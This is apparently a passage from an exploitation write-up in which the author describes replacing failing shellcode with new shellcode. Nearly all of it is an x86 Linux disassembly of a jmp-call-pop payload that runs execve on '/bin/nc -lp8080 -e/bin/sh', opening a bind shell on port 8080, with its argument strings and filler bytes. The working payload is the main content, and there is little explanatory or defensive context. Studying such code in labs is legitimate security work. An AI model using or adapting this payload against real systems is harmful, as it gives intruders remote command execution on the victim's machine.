After going through the return status of the program I realised that, the program was executing the shell code and exiting. So, Instead of binding the shell to stdin, I wrote a shell code that binds /bin/sh
to port 8080 using netcat. This did the trick.
Following is the shell code I used:
08048060 <_start>:
8048060: eb 2a jmp 804808c <GotoCall>
08048062 <shellcode>:
8048062: 5e pop %esi
8048063: 31 c0 xor %eax,%eax
8048065: 88 46 07 mov %al,0x7(%esi)
8048068: 88 46 0f mov %al,0xf(%esi)
804806b: 88 46 19 mov %al,0x19(%esi)
804806e: 89 76 1a mov %esi,0x1a(%esi)
8048071: 8d 5e 08 lea 0x8(%esi),%ebx
8048074: 89 5e 1e mov %ebx,0x1e(%esi)
8048077: 8d 5e 10 lea 0x10(%esi),%ebx
804807a: 89 5e 22 mov %ebx,0x22(%esi)
804807d: 89 46 26 mov %eax,0x26(%esi)
8048080: b0 0b mov $0xb,%al
8048082: 89 f3 mov %esi,%ebx
8048084: 8d 4e 1a lea 0x1a(%esi),%ecx
8048087: 8d 56 26 lea 0x26(%esi),%edx
804808a: cd 80 int $0x80
0804808c <GotoCall>:
804808c: e8 d1 ff ff ff call 8048062 <shellcode>
8048091: 2f das
8048092: 62 69 6e bound %ebp,0x6e(%ecx)
8048095: 2f das
8048096: 6e outsb %ds:(%esi),(%dx)
8048097: 63 23 arpl %sp,(%ebx)
8048099: 2d 6c 70 38 30 sub $0x3038706c,%eax
804809e: 38 30 cmp %dh,(%eax)
80480a0: 23 2d 65 2f 62 69 and 0x69622f65,%ebp
80480a6: 6e outsb %ds:(%esi),(%dx)
80480a7: 2f das
80480a8: 73 68 jae 8048112 <GotoCall+0x86>
80480aa: 23 41 41 and 0x41(%ecx),%eax
80480ad: 41 inc %ecx
80480ae: 41 inc %ecx
80480af: 42 inc %edx
80480b0: 42 inc %edx
80480b1: 42 inc %edx
80480b2: 42 inc %edx
80480b3: 43 inc %ebx
80480b4: 43 inc %ebx
80480b5: 43 inc %ebx
80480b6: 43 inc %ebx
80480b7: 44 inc %esp
80480b8: 44 inc %esp
80480b9: 44 inc %esp
80480ba: 44 inc %esp